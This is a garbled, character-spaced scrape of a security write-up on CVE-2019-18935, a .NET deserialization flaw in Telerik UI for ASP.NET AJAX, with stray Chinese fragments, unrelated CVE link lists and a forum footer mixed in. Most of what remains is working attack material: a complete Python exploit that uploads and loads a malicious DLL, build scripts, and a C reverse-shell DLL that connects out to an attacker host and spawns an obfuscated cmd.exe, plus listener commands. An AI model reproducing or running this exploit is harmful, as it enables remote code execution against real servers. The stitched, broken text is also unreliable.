1 7 - 1 1 3 1 7 U n r e s t r i c t e d   F i l e   U p l o a d   v i a   W e a k   E n c r y p t i o n C V E - 2 0 1 9 - 1 8 9 3 5 R e m o t e   C o d e   E x e c u t i o n   v i a   I n s e c u r e   D e s e r i a l i z a t i o n O K ,   W h a t ' s   a   M i x e d   M o d e   A s s e m b l y ? C V E - 2 0 1 9 - 1 8 9 3 5   E x p l o i t   D e t a i l s I d e n t i f y   S o f t w a r e   V e r s i o n W i t h o u t   A u t h e n t i c a t i o n W i t h   A u t h e n t i c a t i o n V e r i f y   D e s e r i a l i z a t i o n   V u l n e r a b i l i t y   w i t h   S l e e p ( ) A   C a u t i o n a r y   N o t e   A b o u t   A s s e m b l y   N a m e s E x p l o i t E x p l o i t   w i t h   R e v e r s e   S h e l l H o w   t o   P a t c h C o n c l u s i o n K E Y W O R D S R e s e a r c h   -   T e l e r i k E m e r g i n g   T h r e a t s E x p l o i t s R E L A T E D   C O N T E N T T E C H   B L O G R e a s o n a b l y   S e c u r e   E l e c t r o n T E C H   B L O G R M I S c o u t :   S a f e l y   a n d   Q u i c k l y   B r u t e - F o r c e   J a v a   R M I   I n t e r f a c e s   f o r   C o d e   E x e c u t i o n T E C H   B L O G G a d g e t P r o b e :   E x p l o i t i n g   D e s e r i a l i z a t i o n   t o   B r u t e - F o r c e   t h e   { " f i l e I n f o " : { " F i l e N a m e " : " < N A M E > " , " C o n t e n t T y p e " : " t e x t / h t m l " , " C o n t e n t L e n g t h " : < L E N G T H > , " D a t e J s o n " : " < D A T E > " , " I n d e x " : 0 } ,   " m e t a D a t a " : " V G h p c y B p c 2 4 n d C B y Z W F s I G R h d G E s I G J 1 d C B 0 a G U g Q m F z Z T Y 0 L W V u Y 2 9 k Z W Q g Z G F 0 Y S B s b 2 9 r c y B q d X N 0 I G x p a 2 U g d G h p c y 4 = " # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < s t d i o . h > B O O L   W I N A P I   D l l M a i n ( H I N S T A N C E   h i n s t D L L ,   D W O R D   f d w R e a s o n ,   L P V O I D   l p R e s e r v e d ) {         i f   ( f d w R e a s o n   = =   D L L _ P R O C E S S _ A T T A C H )                 S l e e p ( 1 0 0 0 0 ) ;     / /   T i m e   i n t e r v a l   i n   m i l l i s e c o n d s .         r e t u r n   T R U E ; }
C e m p t y . c s V i s u a l   S t u d i o W i n d o w s b u i l d _ d l l . b a t   s l e e p . c b u i l d _ d l l . b a t 3 2 6 4 e m p t y . c s C . n e t m o d u l e C s l e e p . c . o b j . n e t m o d u l e . o b j D L L l i n k   / o u t 使 . N E T 使   s l e e p _ 1 2 3 . d l l D L L 使 b u i l d _ d l l . b a t D L L R a d A s y n c U p l o a d R a d A s y n c U p l o a d D L L 使 P a u l   T a y l o r R a d A s y n c U p l o a d R A U _ c r y p t o . p y r a u P o s t D a t a P O S T 访 A s y n c U p l o a d H a n d l e r c l a s s   E m p t y   { } @ e c h o   o f f s e t   P R O G R A M = % 1 s e t   B A S E N A M E = % P R O G R A M : ~ 0 , - 2 % f o r   / f   " t o k e n s = 2 - 4   d e l i m s = /   "   % % a   i n   ( " % D A T E % " )   d o   (         s e t   Y Y Y Y = % % c         s e t   M M = % % a         s e t   D D = % % b ) f o r   / f   " t o k e n s = 1 - 4   d e l i m s = / : . "   % % a   i n   ( " % T I M E :   = 0 % " )   d o   (         s e t   H H = % % a         s e t   M I = % % b         s e t   S S = % % c         s e t   F F = % % d ) s e t   D A T E T I M E = % Y Y Y Y % % M M % % D D % % H H % % M I % % S S % % F F % @ e c h o   o n f o r   % % a   i n   ( x 8 6   a m d 6 4 )   d o   (         s e t l o c a l         c a l l   " C : P r o g r a m   F i l e s   ( x 8 6 ) M i c r o s o f t   V i s u a l   S t u d i o 2 0 1 9 C o m m u n i t y V C A u x i l i a r y B u i l d v c v a r s a l l . b a t "   % % a         c s c   / t a r g e t : m o d u l e   e m p t y . c s         c l   / c   % P R O G R A M %         l i n k   / D L L   / L T C G   / C L R I M A G E T Y P E : I J W   / o u t : % B A S E N A M E % _ % D A T E T I M E % _ % % a . d l l   % B A S E N A M E % . o b j   e m p t y . n e t m o d u l e         d e l   % B A S E N A M E % . o b j   e m p t y . n e t m o d u l e         e n d l o c a l ) # ! / u s r / b i n / e n v   p y t h o n 3 #   I m p o r t   e n c r y p t i o n   r o u t i n e s . f r o m   s y s   i m p o r t   p a t h p a t h . i n s e r t ( 1 ,   ' R A U _ c r y p t o ' ) f r o m   R A U _ c r y p t o   i m p o r t   R A U C i p h e r f r o m   a r g p a r s e   i m p o r t   A r g u m e n t P a r s e r f r o m   j s o n   i m p o r t   d u m p s ,   l o a d s f r o m   o s . p a t h   i m p o r t   b a s e n a m e ,   s p l i t e x t f r o m   p p r i n t   i m p o r t   p p r i n t f r o m   r e q u e s t s   i m p o r t   p o s t f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3   i m p o r t   d i s a b l e _ w a r n i n g s f r o m   s y s   i m p o r t   s t d e r r f r o m   t i m e   i m p o r t   t i m e f r o m   u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g d i s a b l e _ w a r n i n g s ( c a t e g o r y = I n s e c u r e R e q u e s t W a r n i n g ) d e f   s e n d _ r e q u e s t ( f i l e s ) :         r e s p o n s e   =   p o s t ( u r l ,   f i l e s = f i l e s ,   v e r i f y = F a l s e )         t r y :                 r e s u l t   =   l o a d s ( r e s p o n s e . t e x t )                 r e s u l t [ ' m e t a D a t a ' ]   =   l o a d s ( R A U C i p h e r . d e c r y p t ( r e s u l t [ ' m e t a D a t a ' ] ) )                 p p r i n t ( r e s u l t )         e x c e p t :     p r i n t ( r e s p o n s e . t e x t ) d e f   b u i l d _ r a u p o s t d a t a ( o b j e c t ,   t y p e ) :         r e t u r n   R A U C i p h e r . e n c r y p t ( d u m p s ( o b j e c t ) )   +   ' & '   +   R A U C i p h e r . e n c r y p t ( t y p e )
        r e t u r n   R A U C i p h e r . e n c r y p t ( d u m p s ( o b j e c t ) )   +   ' & '   +   R A U C i p h e r . e n c r y p t ( t y p e ) d e f   u p l o a d ( ) :         #   B u i l d   r a u P o s t D a t a .         o b j e c t   =   {                 ' T a r g e t F o l d e r ' :   R A U C i p h e r . a d d H m a c ( R A U C i p h e r . e n c r y p t ( ' ' ) ,   v e r s i o n ) ,                 ' T e m p T a r g e t F o l d e r ' :   R A U C i p h e r . a d d H m a c ( R A U C i p h e r . e n c r y p t ( t e m p _ t a r g e t _ f o l d e r ) ,   v e r s i o n ) ,                 ' M a x F i l e S i z e ' :   0 ,                 ' T i m e T o L i v e ' :   {                         ' T i c k s ' :   1 4 4 0 0 0 0 0 0 0 0 0 0 ,                         ' D a y s ' :   0 ,                         ' H o u r s ' :   4 0 ,                         ' M i n u t e s ' :   0 ,                         ' S e c o n d s ' :   0 ,                         ' M i l l i s e c o n d s ' :   0 ,                         ' T o t a l D a y s ' :   1 . 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 ,                         ' T o t a l H o u r s ' :   4 0 ,                         ' T o t a l M i n u t e s ' :   2 4 0 0 ,                         ' T o t a l S e c o n d s ' :   1 4 4 0 0 0 ,                         ' T o t a l M i l l i s e c o n d s ' :   1 4 4 0 0 0 0 0 0                 } ,                 ' U s e A p p l i c a t i o n P o o l I m p e r s o n a t i o n ' :   F a l s e         }         t y p e   =   ' T e l e r i k . W e b . U I . A s y n c U p l o a d C o n f i g u r a t i o n ,   T e l e r i k . W e b . U I ,   V e r s i o n = '   +   v e r s i o n   +   ' ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 1 2 1 f a e 7 8 1 6 5 b a 3 d 4 '         r a u p o s t d a t a   =   b u i l d _ r a u p o s t d a t a ( o b j e c t ,   t y p e )         w i t h   o p e n ( f i l e n a m e _ l o c a l ,   ' r b ' )   a s   f :                 p a y l o a d   =   f . r e a d ( )         m e t a d a t a   =   {                 ' T o t a l C h u n k s ' :   1 ,                 ' C h u n k I n d e x ' :   0 ,                 ' T o t a l F i l e S i z e ' :   1 ,                 ' U p l o a d I D ' :   f i l e n a m e _ r e m o t e     #   D e t e r m i n e s   r e m o t e   f i l e n a m e   o n   d i s k .         }         #   B u i l d   m u l t i p a r t   f o r m   d a t a .         f i l e s   =   {                 ' r a u P o s t D a t a ' :   ( N o n e ,   r a u p o s t d a t a ) ,                 ' f i l e ' :   ( f i l e n a m e _ r e m o t e ,   p a y l o a d ,   ' a p p l i c a t i o n / o c t e t - s t r e a m ' ) ,                 ' f i l e N a m e ' :   ( N o n e ,   f i l e n a m e _ r e m o t e ) ,                 ' c o n t e n t T y p e ' :   ( N o n e ,   ' a p p l i c a t i o n / o c t e t - s t r e a m ' ) ,                 ' l a s t M o d i f i e d D a t e ' :   ( N o n e ,   ' 1 9 7 0 - 0 1 - 0 1 T 0 0 : 0 0 : 0 0 . 0 0 0 Z ' ) ,                 ' m e t a d a t a ' :   ( N o n e ,   d u m p s ( m e t a d a t a ) )         }         #   S e n d   r e q u e s t .         p r i n t ( ' [ * ]   L o c a l   p a y l o a d   n a m e :   ' ,   f i l e n a m e _ l o c a l ,   f i l e = s t d e r r )         p r i n t ( ' [ * ]   D e s t i n a t i o n   f o l d e r :   ' ,   t e m p _ t a r g e t _ f o l d e r ,   f i l e = s t d e r r )         p r i n t ( ' [ * ]   R e m o t e   p a y l o a d   n a m e : ' ,   f i l e n a m e _ r e m o t e ,   f i l e = s t d e r r )         p r i n t ( f i l e = s t d e r r )         s e n d _ r e q u e s t ( f i l e s ) d e f   d e s e r i a l i z e ( ) :         #   B u i l d   r a u P o s t D a t a .         o b j e c t   =   {                 ' P a t h ' :   ' f i l e : / / / '   +   t e m p _ t a r g e t _ f o l d e r . r e p l a c e ( ' ' ,   ' / ' )   +   ' / '   +   f i l e n a m e _ r e m o t e         }         t y p e   =   ' S y s t e m . C o n f i g u r a t i o n . I n s t a l l . A s s e m b l y I n s t a l l e r ,   S y s t e m . C o n f i g u r a t i o n . I n s t a l l ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a '         r a u p o s t d a t a   =   b u i l d _ r a u p o s t d a t a ( o b j e c t ,   t y p e )         #   B u i l d   m u l t i p a r t   f o r m   d a t a .         f i l e s   =   {                 ' r a u P o s t D a t a ' :   ( N o n e ,   r a u p o s t d a t a ) ,     #   O n l y   n e e d   t h i s   n o w .                 ' ' :   ' '     #   O n e   e x t r a   i n p u t   i s   r e q u i r e d   f o r   t h e   p a g e   t o   p r o c e s s   t h e   r e q u e s t .         }         #   S e n d   r e q u e s t .         p r i n t ( ' n [ * ]   T r i g g e r i n g   d e s e r i a l i z a t i o n . . . n ' ,   f i l e = s t d e r r )         s t a r t   =   t i m e ( )         s e n d _ r e q u e s t ( f i l e s )         e n d   =   t i m e ( )         p r i n t ( ' n [ * ]   R e s p o n s e   t i m e : ' ,   r o u n d ( e n d   -   s t a r t ,   2 ) ,   ' s e c o n d s ' ,   f i l e = s t d e r r ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p a r s e r   =   A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' E x p l o i t   f o r   C V E - 2 0 1 9 - 1 8 9 3 5 ,   a   . N E T   d e s e r i a l i z a t i o n   v u l n e r a b i l i t y   i n   T e l e r i k   U I   f o r   A S P . N E T   A J A X . ' )         p a r s e r . a d d _ a r g u m e n t ( ' - t ' ,   d e s t = ' t e s t _ u p l o a d ' ,   a c t i o n = ' s t o r e _ t r u e ' ,   h e l p = " j u s t   t e s t   f i l e   u p l o a d ,   d o n ' t   e x p l o i t   d e s e r i a l i z a t i o n   v u l n " )         p a r s e r . a d d _ a r g u m e n t ( ' - v ' ,   d e s t = ' v e r s i o n ' ,   r e q u i r e d = T r u e ,   h e l p = ' s o f t w a r e   v e r s i o n ' )         p a r s e r . a d d _ a r g u m e n t ( ' - p ' ,   d e s t = ' p a y l o a d ' ,   r e q u i r e d = T r u e ,   h e l p = ' m i x e d   m o d e   a s s e m b l y   D L L ' )
W e b 使 3 2 6 4 D L L 1 0 使 A S P . N E T   A J A X T e l e r i k   U I 使 D L L D L L r e v _ s h e l l . c 使 D L L 线 线 S h e l l W e b r e v _ s h e l l . c         p a r s e r . a d d _ a r g u m e n t ( ' - p ' ,   d e s t = ' p a y l o a d ' ,   r e q u i r e d = T r u e ,   h e l p = ' m i x e d   m o d e   a s s e m b l y   D L L ' )         p a r s e r . a d d _ a r g u m e n t ( ' - f ' ,   d e s t = ' f o l d e r ' ,   r e q u i r e d = T r u e ,   h e l p = ' d e s t i n a t i o n   f o l d e r   o n   t a r g e t ' )         p a r s e r . a d d _ a r g u m e n t ( ' - u ' ,   d e s t = ' u r l ' ,   r e q u i r e d = T r u e ,   h e l p = ' h t t p s : / / < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u ' )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         t e m p _ t a r g e t _ f o l d e r   =   a r g s . f o l d e r . r e p l a c e ( ' / ' ,   ' ' )         v e r s i o n   =   a r g s . v e r s i o n         f i l e n a m e _ l o c a l   =   a r g s . p a y l o a d         f i l e n a m e _ r e m o t e   =   s t r ( t i m e ( ) )   +   s p l i t e x t ( b a s e n a m e ( f i l e n a m e _ l o c a l ) ) [ 1 ]         u r l   =   a r g s . u r l         u p l o a d ( )         i f   n o t   a r g s . t e s t _ u p l o a d :                 d e s e r i a l i z e ( ) p y t h o n 3   C V E - 2 0 1 9 - 1 8 9 3 5 . p y   - u   < H O S T > / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u   - v   < V E R S I O N >   - f   ' C : W i n d o w s T e m p '   - p   s l e e p _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l [ * ]   L o c a l   p a y l o a d   n a m e :     s l e e p _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l [ * ]   D e s t i n a t i o n   f o l d e r :     C : W i n d o w s T e m p [ * ]   R e m o t e   p a y l o a d   n a m e :   1 5 7 6 1 4 2 9 8 7 . 9 1 8 6 2 5 . d l l { ' f i l e I n f o ' :   { ' C o n t e n t L e n g t h ' :   7 5 2 6 4 ,                             ' C o n t e n t T y p e ' :   ' a p p l i c a t i o n / o c t e t - s t r e a m ' ,                             ' D a t e J s o n ' :   ' 1 9 7 0 - 0 1 - 0 1 T 0 0 : 0 0 : 0 0 . 0 0 0 Z ' ,                             ' F i l e N a m e ' :   ' 1 5 7 6 1 4 2 9 8 7 . 9 1 8 6 2 5 . d l l ' ,                             ' I n d e x ' :   0 } ,   ' m e t a D a t a ' :   { ' A s y n c U p l o a d T y p e N a m e ' :   ' T e l e r i k . W e b . U I . U p l o a d e d F i l e I n f o ,   '                                                                           ' T e l e r i k . W e b . U I ,   V e r s i o n = < V E R S I O N > ,   '                                                                           ' C u l t u r e = n e u t r a l ,   '                                                                           ' P u b l i c K e y T o k e n = < T O K E N > ' ,                             ' T e m p F i l e N a m e ' :   ' 1 5 7 6 1 4 2 9 8 7 . 9 1 8 6 2 5 . d l l ' } } [ * ]   T r i g g e r i n g   d e s e r i a l i z a t i o n . . . < t i t l e > R u n t i m e   E r r o r < / t i t l e > < s p a n > < H 1 > S e r v e r   E r r o r   i n   ' / '   A p p l i c a t i o n . < h r   w i d t h = 1 0 0 %   s i z e = 1   c o l o r = s i l v e r > < / H 1 > < h 2 >   < i > R u n t i m e   E r r o r < / i >   < / h 2 > < / s p a n > . . . o m i t t e d   f o r   b r e v i t y . . . [ * ]   R e s p o n s e   t i m e :   1 3 . 0 1   s e c o n d s # i n c l u d e   < w i n s o c k 2 . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < w i n d o w s . h > # p r a g m a   c o m m e n t ( l i b ,   " w s 2 _ 3 2 " ) # d e f i n e   H O S T   " < H O S T > " # d e f i n e   P O R T   < P O R T > W S A D A T A   w s a D a t a ; S O C K E T   W i n s o c k ; S O C K E T   S o c k ; s t r u c t   s o c k a d d r _ i n   h a x ; c h a r   a i p _ a d d r [ 1 6 ] ; S T A R T U P I N F O   i n i _ p r o c e s s o ; P R O C E S S _ I N F O R M A T I O N   p r o c e s s o _ i n f o ; / /   A d a p t e d   f r o m   h t t p s : / / g i t h u b . c o m / i n f o s k i r m i s h / W i n d o w - T o o l s / b l o b / m a s t e r / S i m p l e % 2 0 R e v e r s e % 2 0 S h e l l / s h e l l . c v o i d   R e v e r s e S h e l l ( ) {         W S A S t a r t u p ( M A K E W O R D ( 2 ,   2 ) ,   & w s a D a t a ) ;         W i n s o c k = W S A S o c k e t ( A F _ I N E T ,   S O C K _ S T R E A M ,   I P P R O T O _ T C P ,   N U L L ,   0 ,   0 ) ;         s t r u c t   h o s t e n t   * h o s t   =   g e t h o s t b y n a m e ( H O S T ) ;         s t r c p y ( a i p _ a d d r ,   i n e t _ n t o a ( * ( ( s t r u c t   i n _ a d d r   * ) h o s t - > h _ a d d r ) ) ) ;         h a x . s i n _ f a m i l y   =   A F _ I N E T ;         h a x . s i n _ p o r t   =   h t o n s ( P O R T ) ;         h a x . s i n _ a d d r . s _ a d d r   =   i n e t _ a d d r ( a i p _ a d d r ) ;         W S A C o n n e c t ( W i n s o c k ,   ( S O C K A D D R * ) & h a x ,   s i z e o f ( h a x ) ,   N U L L ,   N U L L ,   N U L L ,   N U L L ) ;         i f   ( W S A G e t L a s t E r r o r ( )   = =   0 )   {
r e v _ s h e l l . c 使 C 2 使 D L L N e t c a t D L L T e l e r i k T e l e r i k   f o r   A S P . N E T   A J A X R 3   2 0 1 9   S P 1 v 2 0 1 9 . 3 . 1 0 2 3 T e l e r i k R a d A s y n c U p l o a d C V E - 2 0 1 7 - 1 1 3 1 7 C V E - 2 0 1 9 - 1 8 9 3 5 T e l e r i k h t t p s : / / g i t h u b . c o m / N S - S p 4 c e / C V E - 2 0 2 1 - 2 1 9 7 2 h t t p s : / / g i t h u b . c o m / h o r i z o n 3 a i / C V E - 2 0 2 1 - 2 1 9 7 2 h t t p s : / / g i t h u b . c o m / Q m F 0 c 3 U K / C V E - 2 0 2 1 - 2 1 9 7 2 - v C e n t e r - 6 . 5 - 7 . 0 - R C E - P O C h t t p s : / / g i t h u b . c o m / a l t 3 k x / C V E - 2 0 2 1 - 2 1 9 7 2 h t t p s : / / g i t h u b . c o m / m i l o 2 0 1 2 / C V E - 2 0 2 1 - 2 1 9 7 2 h t t p s : / / g i t h u b . c o m / B 1 a n d a 0 / C V E - 2 0 2 1 - 2 1 9 7 2                 m e m s e t ( & i n i _ p r o c e s s o ,   0 ,   s i z e o f ( i n i _ p r o c e s s o ) ) ;                 i n i _ p r o c e s s o . c b   =   s i z e o f ( i n i _ p r o c e s s o ) ;                 i n i _ p r o c e s s o . d w F l a g s   =   S T A R T F _ U S E S T D H A N D L E S ;                 i n i _ p r o c e s s o . h S t d I n p u t   =   i n i _ p r o c e s s o . h S t d O u t p u t   =   i n i _ p r o c e s s o . h S t d E r r o r   =   ( H A N D L E ) W i n s o c k ;                 c h a r   * m y A r r a y [ 4 ]   =   {   " c m " ,   " d . e " ,   " x " ,   " e "   } ;                 c h a r   c o m m a n d [ 8 ]   =   " " ;                 s n p r i n t f ( c o m m a n d ,   s i z e o f ( c o m m a n d ) ,   " % s % s % s % s " ,   m y A r r a y [ 0 ] ,   m y A r r a y [ 1 ] ,   m y A r r a y [ 2 ] ,   m y A r r a y [ 3 ] ) ;                 C r e a t e P r o c e s s ( N U L L ,   c o m m a n d ,   N U L L ,   N U L L ,   T R U E ,   0 ,   N U L L ,   N U L L ,   & i n i _ p r o c e s s o ,   & p r o c e s s o _ i n f o ) ;         } } D W O R D   W I N A P I   M a i n T h r e a d ( L P V O I D   l p P a r a m ) {         R e v e r s e S h e l l ( ) ;         r e t u r n   0 ; } B O O L   W I N A P I   D l l M a i n ( H I N S T A N C E   h i n s t D L L ,   D W O R D   f d w R e a s o n ,   L P V O I D   l p R e s e r v e d )   {         H A N D L E   h T h r e a d ;         i f   ( f d w R e a s o n   = =   D L L _ P R O C E S S _ A T T A C H )                 h T h r e a d   =   C r e a t e T h r e a d ( 0 ,   0 ,   M a i n T h r e a d ,   0 ,   0 ,   0 ) ;         r e t u r n   T R U E ; } s e d   - i   . b u   ' s / < H O S T > / < H O S T > / ;   s / < P O R T > / < P O R T > / '   r e v _ s h e l l . c b u i l d _ d l l . b a t   r e v _ s h e l l . c u d o   n c a t   - l v p   < > p y t h o n 3   C V E - 2 0 1 9 - 1 8 9 3 5 . p y   - u   < >   / T e l e r i k . W e b . U I . W e b R e s o u r c e . a x d ? t y p e = r a u   - v   < >   - f ' C   W i n d o w s     T e m p ' - p   r e v _ s h e l l _ 2 0 1 9 1 2 1 2 0 5 2 7 1 3 5 5 _ x 8 6 . d l l

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则